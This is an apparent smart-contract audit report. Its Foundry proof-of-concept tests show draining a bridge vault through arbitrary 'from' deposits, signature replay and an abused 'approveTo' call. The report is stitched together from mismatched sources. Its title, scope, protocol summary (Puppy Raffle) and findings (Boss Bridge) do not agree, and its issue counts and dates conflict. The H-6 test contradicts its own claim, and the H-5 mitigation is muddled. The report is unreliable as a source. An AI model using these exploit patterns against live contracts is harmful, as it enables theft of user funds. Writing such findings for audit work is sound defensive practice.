Thunder Loan Initial Audit Report

Version 0.1

SpectraD

October 3, 2024

Thunder Loan Audit Report

SpectraD

September 14, 2024

Thunder Loan Audit Report

Prepared by: SpectraD Lead Auditors:

- SpectraD

Assisting Auditors:

- None

Table of contents

See table

- Thunder Loan Audit Report
- Table of contents
- About SpectraD
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
- Protocol Summary
  - Roles
- Executive Summary

  - Issues found
- Findings
  - High
    * [H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen
    * [H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
    * [H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed
    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-5] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd
    * [H-6] `TokenFactory::deployToken` locks tokens forever
  - Medium
  - Low
    * [L-1] `TokenFactory::deployToken` can create multiple token with same `symbol`
  - Informational
    * [I-1] Insufficient test coverage
  - Gas

About SpectraD

Security Reviewer

Disclaimer

The SpectraD team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.

- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	0
Low	3
Info	1
Gas	0
Total	10

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

`depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the
       vault
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault),
       vaultBalance);

    vm.stopPrank();
}
```

As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
function testSignatureReplay() public {
    // Assume the vault already holds some tokens
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), attacker, attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attacker,
       attackerInitialBalance);

    // Operator signs withdrawal.
    bytes memory message = abi.encode(
        address(token), 0, abi.encodeCall(IERC20.transferFrom, (address
            (vault), attacker,
        attackerInitialBalance))
    );
    (uint8 v, bytes32 r, bytes32 s) =
        vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(
            keccak256
        (message)));

    // The attacker can reuse the signature and drain the vault.
    while(token.balanceOf(address(vault)) > 0) {
        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
            , v, r, s);
    }

    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
        +
    vaultInitialBalance);
    assertEq(token.balanceOf(address(vault)), 0);
}
```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    address attacker = makeAddr("attacker");
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd

Description:

The `depositTokensToL2` function in the `L1BossBridge.sol` contract appears to contain a potential security vulnerability. Specifically, the function does not properly verify the state of the token emissions on the L1 network before proceeding with the deposit.

Proof of Code:

```
    function testDepositLimitDOS() public {
        // Set up
        uint256 depositLimit = tokenBridge.DEPOSIT_LIMIT();
        uint256 initialBalance = depositLimit + 1 ether; // Slightly
            more than the limit
        deal(address(token), user, initialBalance);

        vm.startPrank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // First deposit: just under the limit
        uint256 firstDeposit = depositLimit - 1 ether;
        tokenBridge.depositTokensToL2(user, userInL2, firstDeposit);

        // Second deposit: small amount to reach the limit
        uint256 secondDeposit = 1 ether;
        tokenBridge.depositTokensToL2(user, userInL2, secondDeposit);

        // Third deposit: should fail due to limit
        uint256 thirdDeposit = 1 ether;
        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
        tokenBridge.depositTokensToL2(user, userInL2, thirdDeposit);

        // Try to deposit a very small amount
        uint256 smallDeposit = 1; // 1 wei
        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
        tokenBridge.depositTokensToL2(user, userInL2, smallDeposit);

        vm.stopPrank();

        // Assert that the vault balance is exactly at the limit
        assertEq(token.balanceOf(address(vault)), depositLimit);

        // Try deposit from another user
        address anotherUser = makeAddr("anotherUser");
        deal(address(token), anotherUser, 1 ether);

        vm.prank(anotherUser);
        token.approve(address(tokenBridge), 1 ether);

        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
        tokenBridge.depositTokensToL2(anotherUser, userInL2, 1);

        // The bridge is now effectively in a DOS state for deposits
    }
```

Recommended Mitigation:

To address this issue, we recommend the following modifications:

1. **Implement a more robust state retrieval mechanism**: Instead of relying solely on `token.balanceOf(address(vault))`, consider using a function that returns the most up-to-date information about the token emissions on the L1 network. This could be achieved through the use of a centralized oracle or a decentralized data feed.
2. **Add authorization checks for deposit operations**: Ensure that the user attempting to deposit tokens has explicitly granted permission for this action. This can be accomplished by adding a check using a function like `hasAllowance` that verifies the user's authorization status on the contract.
3. **Introduce a delay or rate limiting mechanism to prevent flash loan attacks**: Implement a temporary barrier or rate limiting scheme to slow down or block transactions that are indicative of an attempted flash loan attack. This can help prevent malicious actors from exploiting vulnerabilities in the contract.

Revised Code Snippet:

```
function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
    // Implement robust state retrieval mechanism
    uint256 emittedAmount = _getEmittedAmount(token.address, address(
        vault));

    if (emittedAmount + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }

    token.safeTransferFrom(from, address(vault), amount);

    // Add authorization checks for deposit operations
    require(_hasAllowance(token.address, msg.sender), "User has not
        granted permission to deposit tokens");

    emit Deposit(from, l2Recipient, amount);
}

// New function: _getEmittedAmount
function _getEmittedAmount(address tokenAddress, address vaultAddress)
    internal returns (uint256) {
    // Implement logic to retrieve up-to-date information about token
        emissions
}
```

Additional Recommendations:

- Consider implementing additional security measures, such as:
  - Requiring users to authenticate before depositing tokens.

- Utilizing a secure communication protocol for sensitive data transmission.
- Regularly auditing and testing the contract for vulnerabilities.

[H-6] `TokenFactory::deployToken` locks tokens forever

Description: This function locks tokens forever. It is possible for an attacker to deploy a token with the same name as an existing token, and then lock it forever.

Proof Of Concept: The following PoC deploys a token with the same name as an existing token, then locks it forever.

```
    function testTokensAreNotLockedAfterDeployment() public {
        vm.startPrank(owner);

        string memory symbol = "TEST";
        address tokenAddress = tokenFactory.deployToken(symbol, type(
            L1Token).creationCode);

        L1Token token = L1Token(tokenAddress);

        uint256 initialSupply = 1_000_000 * 10**18;
        assertEq(token.balanceOf(owner), initialSupply, "The owner
            should has all the tokens");

        address recipient = address(0x123);
        uint256 amount = 100 * 10**18;

        token.transfer(recipient, amount);

        assertEq(token.balanceOf(recipient), amount, "Tokens transfer
            should work");
        assertEq(token.balanceOf(owner), initialSupply - amount, "Owner
             sold should be reduced");

        vm.stopPrank();
    }
```

Recommended Mitigation: The current implementation of the L1Token contract results in all minted tokens being locked within the contract itself, rendering them inaccessible. To address this issue and ensure proper token distribution, we recommend the following changes:

1. Modify the L1Token constructor to accept an initial owner address:

```
    constructor(address initialOwner) ERC20("BossBridgeToken", "BBT") {
        _mint(initialOwner, INITIAL_SUPPLY * 10 ** decimals());
    }
```

2. Update the `TokenFactory::deployToken` function to pass the owner's address when creating the L1Token:

```
    function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
        bytes memory constructorArgs = abi.encode(owner());
        bytes memory bytecode = abi.encodePacked(contractBytecode,
           constructorArgs);
        assembly {
            addr := create(0, add(bytecode, 0x20), mload(bytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

3. Ensure that the L1Token contract's bytecode passed to the TokenFactory includes the constructor parameter.

These changes will ensure that the initial token supply is minted to the specified owner (in this case, the owner of the TokenFactory), allowing for proper token distribution and usage after deployment.

Additionally, implement proper access controls and consider adding functions for controlled token distribution if required by the system's design.

After implementing these changes, thoroughly test the deployment and token distribution process to confirm that tokens are correctly assigned and accessible to the intended owner.

Medium

Low

[L-1] `TokenFactory::deployToken` can create multiple token with same `symbol`

Description: The vulnerability is the possibility of an attacker creating multiple tokens with the same symbol, which could lead to management and security issues.

Proof Of Concept: The following PoC creates two tokens with the same symbol.

```
    function testDuplicateTokenSymbol() public {
        vm.startPrank(owner);

        string memory symbol = "TEST";
        bytes memory bytecode = type(L1Token).creationCode;
        address addrFirst = tokenFactory.deployToken(symbol, bytecode);

        address addrSecond = tokenFactory.deployToken(symbol, bytecode)
            ;

        vm.stopPrank();

        assertTrue(addrFirst != address(0), "The First token is not
            deployed");
        assertTrue(addrSecond != address(0), "The Second token is not
            deployed");
        assertNotEq(addrFirst, addrSecond, "Addresses must to be
            different");
        assertEq(tokenFactory.getTokenAddressFromSymbol(symbol),
            addrSecond, "The symbol address should correspond to the
            first token deployed.");
    }
```

Mitigation: The TokenFactory contract should be updated to prevent the creation of multiple tokens with the same symbol.

Informational

[I-1] Insufficient test coverage

```
Running tests...
| File                 | % Lines         | % Statements    | % Branches
      | % Funcs         |
| -------------------- | --------------- | --------------- |
  -------------- | -------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)
      | 83.33% (5/6)   |
| src/L1Vault.sol      | 0.00% (0/1)     | 0.00% (0/1)     | 100.00%
  (0/0) | 0.00% (0/1)    |
| src/TokenFactory.sol | 100.00% (4/4)   | 100.00% (4/4)   | 100.00%
  (0/0) | 100.00% (2/2)  |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)
      | 77.78% (7/9)   |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

“‘diff s_exchangeRate = newExchangeRate; - emit ExchangeRateUpdated(s_exchangeRate); + emit ExchangeRateUpdated(newExchangeRate);